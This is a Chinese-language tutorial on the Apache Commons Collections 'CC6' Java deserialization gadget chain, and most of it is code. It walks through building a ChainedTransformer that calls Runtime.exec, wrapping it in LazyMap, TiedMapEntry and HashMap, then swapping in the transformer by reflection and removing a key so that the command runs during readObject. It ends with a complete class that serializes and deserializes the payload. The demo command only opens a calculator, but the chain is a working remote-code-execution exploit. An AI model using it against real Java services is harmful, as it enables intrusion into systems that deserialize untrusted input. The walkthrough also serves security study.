java cc链6
其实这条链是利用了LazyMap.get
方法,在之前的cc链lazymap中已经提过就是
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}),
};
ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> transformedmap= LazyMap.decorate(map,chainedTransformer);
transformedmap.get("test");
接下来需要查找哪里调用了LazyMap.get
方法,这里找到了TiedMapEntry.hashCode
transformedmap.get("test");
可以变化为
TiedMapEntry aaa = new TiedMapEntry(transformedmap, "aaa");
aaa.hashCode();
在Hashmap
类中,存在hash方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
调用了key.hashCode()
,并且这里的key参数可控,而hash方法又在readObject方法中被调用
putVal(hash(key), key, value, false, false);
那么就可以修改为
TiedMapEntry aaa = new TiedMapEntry(transformedmap, "aaa");
// aaa.hashCode();
HashMap map2 = new HashMap<>();
map2.put(aaa,"TiedMapEntry");
执行到这里发现已经进行了命令执行,是因为Hashmap.put
方法也调用了hash
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
所以进行了命令执行,可以将之前命令执行的链路断开,再通过反射的方式修改回去,这样在put的时候就不会触发命令执行,这里在
//修改前
Map<Object,Object> transformedmap= LazyMap.decorate(map,chainedTransformer);
//修改后
Map<Object,Object> transformedmap= LazyMap.decorate(map,new ConstantFactory(1));
进行修改
反射修改为正常的链路
Class c= LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(transformedmap,chainedTransformer);
反序列化无法正常执行命令执行
问题出现在LazyMap.get
方法中,当Hashmap.put方法运行时,key被添加到map中,导致反序列化时候 map.containsKey(key)≠false,也就是说存在键值,没有进入if中,那么我们直接删除这个键值就可以了
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
所以最后的代码为
public class test04 {
public static void serialize(Object object) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("person.bin"));
oos.writeObject(object);
}
public static void unserialize(String filename) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
objectInputStream.readObject();
}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"}),
};
ChainedTransformer chainedTransformer= new ChainedTransformer(transformers);
HashMap<Object,Object> map=new HashMap<>();
// Map<Object,Object> transformedmap= LazyMap.decorate(map,chainedTransformer);
Map<Object,Object> transformedmap= LazyMap.decorate(map,new ConstantFactory(1));
// transformedmap.get("test");
TiedMapEntry aaa = new TiedMapEntry(transformedmap, "aaa");
// aaa.hashCode();
HashMap map2 = new HashMap<>();
map2.put(aaa,"TiedMapEntry");
transformedmap.remove("aaa");
Class c= LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(transformedmap,chainedTransformer)
// serialize(map2);
unserialize("person.bin");
}
}
并且适用的java版本范围更广